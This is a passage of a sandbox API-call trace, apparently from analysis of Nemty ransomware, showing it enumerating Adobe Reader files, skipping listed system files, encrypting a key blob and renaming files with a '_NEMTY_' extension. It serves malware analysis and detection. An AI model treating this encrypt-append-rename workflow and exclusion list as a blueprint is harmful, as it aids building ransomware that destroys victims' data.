"c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.dan"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.DAN._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.dan._nemty_kgobjgd_")) returned 1 [0170.354] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0170.354] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0170.354] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0170.354] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0170.354] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0170.354] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0170.354] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.354] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94368 | out: hHeap=0x4f90000) returned 1 [0170.354] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802e0860, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="nppdf32.DEU", cAlternateFileName="")) returned 1 [0170.354] lstrcmpiW (lpString1="nppdf32.DEU", lpString2=".") returned 1 [0170.354] lstrcmpiW (lpString1="nppdf32.DEU", lpString2="..") returned 1 [0170.354] lstrcmpiW (lpString1="nppdf32.DEU", lpString2="...") returned 1 [0170.354] lstrcmpiW (lpString1="nppdf32.DEU", lpString2="windows") returned -1 [0170.354] lstrcmpiW (lpString1="nppdf32.DEU", lpString2="$RECYCLE.BIN") returned 1 [0170.354] lstrcmpiW (lpString1="nppdf32.DEU", lpString2="rsa") returned -1 [0170.354] lstrcmpiW (lpString1="nppdf32.DEU", lpString2="NTDETECT.COM") returned -1 [0170.354] lstrcmpiW (lpString1="nppdf32.DEU", lpString2="ntldr") returned -1 [0170.354] lstrcmpiW (lpString1="nppdf32.DEU", lpString2="MSDOS.SYS") returned 1 [0170.354] lstrcmpiW (lpString1="nppdf32.DEU", lpString2="IO.SYS") returned 1 [0170.354] lstrcmpiW (lpString1="nppdf32.DEU", lpString2="boot.ini") returned 1 [0170.354] lstrcmpiW (lpString1="nppdf32.DEU", lpString2="boot.ini") returned 1 [0170.354] lstrcmpiW (lpString1="nppdf32.DEU", lpString2="AUTOEXEC.BAT") returned 1 [0170.354] lstrcmpiW (lpString1="nppdf32.DEU", lpString2="ntuser.dat") returned -1 [0170.354] lstrcmpiW (lpString1="nppdf32.DEU", lpString2="desktop.ini") returned 1 [0170.354] lstrcmpiW (lpString1="nppdf32.DEU", lpString2="CONFIG.SYS") returned 1 [0170.354] lstrcmpiW (lpString1="nppdf32.DEU", lpString2="RECYCLER") returned -1 [0170.354] lstrcmpiW (lpString1="nppdf32.DEU", lpString2="BOOTSECT.BAK") returned 1 [0170.354] lstrcmpiW (lpString1="nppdf32.DEU", lpString2="bootmgr") returned 1 [0170.354] lstrcmpiW (lpString1="nppdf32.DEU", lpString2="programdata") returned -1 [0170.355] lstrcmpiW (lpString1="nppdf32.DEU", lpString2="appdata") returned 1 [0170.355] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.355] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.DEU", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.355] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.DEU", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.DEU", lpUsedDefaultChar=0x0) returned 11 [0170.355] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.355] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.DEU", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.355] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.DEU", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.DEU", lpUsedDefaultChar=0x0) returned 11 [0170.355] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.355] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.355] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.355] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.DEU", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.355] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.DEU", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.DEU", lpUsedDefaultChar=0x0) returned 11 [0170.355] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.355] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.355] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.DEU", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.355] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.DEU", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.DEU", lpUsedDefaultChar=0x0) returned 11 [0170.355] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.355] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94368 [0170.355] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942e0 | out: hHeap=0x4f90000) returned 1 [0170.355] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f942e0 [0170.355] Sleep (dwMilliseconds=0x5) [0170.365] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x19314d10, dwHighDateTime=0x1d561e8)) [0170.365] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x19314d10, dwHighDateTime=0x1d561e8)) [0170.365] GetLastError () returned 0x0 [0170.365] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0170.365] GetLastError () returned 0x0 [0170.366] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.366] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0170.366] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.366] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0170.366] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0170.366] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0170.366] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0170.366] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="EAaWR2S9nxS8xVc9kfr+VFoSPLt4n7cv7roBdscQHoNpxWlyJIu+vNB0ATyg++Ut\r\nN2d1IvbKykTNIAhon4SfV4FFR067tENFGre8jEtMEmEiA4F3e4K2jdnuo0cj89U/\r\nmYuSeAPSF8LoFL/lqSyq3yIu+9u7pECRSfdJg05/+MQYAArJ2S8DPDwCXr3Rr183\r\n7xOQB8tsRoMbV9Ko3q/uS6oUN0CP6ItjaZ3gqMy3ZXc9XQb0l1yxLtQroUkvNLcQ\r\nrp/PBv+zJmhIS9kX51q0T9DM6ODmRRKoaHwQPyJw/81R5d8P5FzYldEgpXj2IJEy\r\n09wi/UeZsWupLqr2r6LDdw==\r\n", pcchString=0x653e91c) returned 1 [0170.366] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0170.366] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0170.366] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.366] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0170.366] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0170.366] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0170.366] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.deu"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0170.367] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=8192) returned 1 [0170.367] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2000) returned 0x6352c48 [0170.367] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.367] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x2000, lpOverlapped=0x0) returned 1 [0170.369] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.369] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x2000, lpOverlapped=0x0) returned 1 [0170.369] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0170.369] SetFilePointer (in: hFile=0x254, lDistanceToMove=8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2000 [0170.369] WriteFile (in: hFile=0x254, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0170.370] CloseHandle (hObject=0x254) returned 1 [0170.370] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x63401b8 [0170.370] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0170.370] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.370] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0170.370] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.370] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.370] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0170.370] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0170.370] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0170.370] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.370] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.deu"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.DEU._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.deu._nemty_kgobjgd_")) returned 1 [0170.370] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0170.370] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0170.370] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0170.370] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0170.370] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0170.370] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0170.370] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.370] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942e0 | out: hHeap=0x4f90000) returned 1 [0170.370] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802e0860, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x21190, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="nppdf32.dll", cAlternateFileName="")) returned 1 [0170.370] lstrcmpiW (lpString1="nppdf32.dll", lpString2=".") returned 1 [0170.371] lstrcmpiW (lpString1="nppdf32.dll", lpString2="..") returned 1 [0170.371] lstrcmpiW (lpString1="nppdf32.dll", lpString2="...") returned 1 [0170.371] lstrcmpiW (lpString1="nppdf32.dll", lpString2="windows") returned -1 [0170.371] lstrcmpiW (lpString1="nppdf32.dll", lpString2="$RECYCLE.BIN") returned 1 [0170.371] lstrcmpiW (lpString1="nppdf32.dll", lpString2="rsa") returned -1 [0170.371] lstrcmpiW (lpString1="nppdf32.dll", lpString2="NTDETECT.COM") returned -1 [0170.371] lstrcmpiW (lpString1="nppdf32.dll", lpString2="ntldr") returned -1 [0170.371] lstrcmpiW (lpString1="nppdf32.dll", lpString2="MSDOS.SYS") returned 1 [0170.371] lstrcmpiW (lpString1="nppdf32.dll", lpString2="IO.SYS") returned 1 [0170.371] lstrcmpiW (lpString1="nppdf32.dll", lpString2="boot.ini") returned 1 [0170.371] lstrcmpiW (lpString1="nppdf32.dll", lpString2="boot.ini") returned 1 [0170.371] lstrcmpiW (lpString1="nppdf32.dll", lpString2="AUTOEXEC.BAT") returned 1 [0170.371] lstrcmpiW (lpString1="nppdf32.dll", lpString2="ntuser.dat") returned -1 [0170.371] lstrcmpiW (lpString1="nppdf32.dll", lpString2="desktop.ini") returned 1 [0170.371] lstrcmpiW (lpString1="nppdf32.dll", lpString2="CONFIG.SYS") returned 1 [0170.371] lstrcmpiW (lpString1="nppdf32.dll", lpString2="RECYCLER") returned -1 [0170.371] lstrcmpiW (lpString1="nppdf32.dll", lpString2="BOOTSECT.BAK") returned 1 [0170.371] lstrcmpiW (lpString1="nppdf32.dll", lpString2="bootmgr") returned 1 [0170.371] lstrcmpiW (lpString1="nppdf32.dll", lpString2="programdata") returned -1 [0170.371] lstrcmpiW (lpString1="nppdf32.dll", lpString2="appdata") returned 1 [0170.371] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.371] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.dll", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.371] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.dll", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.dll", lpUsedDefaultChar=0x0) returned 11 [0170.371] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.371] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.dll", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.371] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.dll", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.dll", lpUsedDefaultChar=0x0) returned 11 [0170.371] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.371] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.371] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.371] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.dll", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.371] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.dll", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.dll", lpUsedDefaultChar=0x0) returned 11 [0170.371] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.371] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.371] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.dll", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.371] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.dll", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.dll", lpUsedDefaultChar=0x0) returned 11 [0170.371] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.372] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f942e0 [0170.372] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94368 | out: hHeap=0x4f90000) returned 1 [0170.372] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802e0860, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="nppdf32.ESP", cAlternateFileName="")) returned 1 [0170.372] lstrcmpiW (lpString1="nppdf32.ESP", lpString2=".") returned 1 [0170.372] lstrcmpiW (lpString1="nppdf32.ESP", lpString2="..") returned 1 [0170.372] lstrcmpiW (lpString1="nppdf32.ESP", lpString2="...") returned 1 [0170.372] lstrcmpiW (lpString1="nppdf32.ESP", lpString2="windows") returned -1 [0170.372] lstrcmpiW (lpString1="nppdf32.ESP", lpString2="$RECYCLE.BIN") returned 1 [0170.372] lstrcmpiW (lpString1="nppdf32.ESP", lpString2="rsa") returned -1 [0170.372] lstrcmpiW (lpString1="nppdf32.ESP", lpString2="NTDETECT.COM") returned -1 [0170.372] lstrcmpiW (lpString1="nppdf32.ESP", lpString2="ntldr") returned -1 [0170.372] lstrcmpiW (lpString1="nppdf32.ESP", lpString2="MSDOS.SYS") returned 1 [0170.372] lstrcmpiW (lpString1="nppdf32.ESP", lpString2="IO.SYS") returned 1 [0170.372] lstrcmpiW (lpString1="nppdf32.ESP", lpString2="boot.ini") returned 1 [0170.372] lstrcmpiW (lpString1="nppdf32.ESP", lpString2="boot.ini") returned 1 [0170.372] lstrcmpiW (lpString1="nppdf32.ESP", lpString2="AUTOEXEC.BAT") returned 1 [0170.372] lstrcmpiW (lpString1="nppdf32.ESP", lpString2="ntuser.dat") returned -1 [0170.372] lstrcmpiW (lpString1="nppdf32.ESP", lpString2="desktop.ini") returned 1 [0170.372] lstrcmpiW (lpString1="nppdf32.ESP", lpString2="CONFIG.SYS") returned 1 [0170.372] lstrcmpiW (lpString1="nppdf32.ESP", lpString2="RECYCLER") returned -1 [0170.372] lstrcmpiW (lpString1="nppdf32.ESP", lpString2="BOOTSECT.BAK") returned 1 [0170.372] lstrcmpiW (lpString1="nppdf32.ESP", lpString2="bootmgr") returned 1 [0170.372] lstrcmpiW (lpString1="nppdf32.ESP", lpString2="programdata") returned -1 [0170.372] lstrcmpiW (lpString1="nppdf32.ESP", lpString2="appdata") returned 1 [0170.372] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.372] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.ESP", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.372] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.ESP", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.ESP", lpUsedDefaultChar=0x0) returned 11 [0170.372] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.372] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.ESP", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.372] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.ESP", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.ESP", lpUsedDefaultChar=0x0) returned 11 [0170.372] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.372] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.372] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.372] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.ESP", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.372] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.ESP", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.ESP", lpUsedDefaultChar=0x0) returned 11 [0170.373] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.373] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.373] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.ESP", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.373] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.ESP", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.ESP", lpUsedDefaultChar=0x0) returned 11 [0170.373] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.373] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94368 [0170.373] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942e0 | out: hHeap=0x4f90000) returned 1 [0170.373] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f942e0 [0170.373] 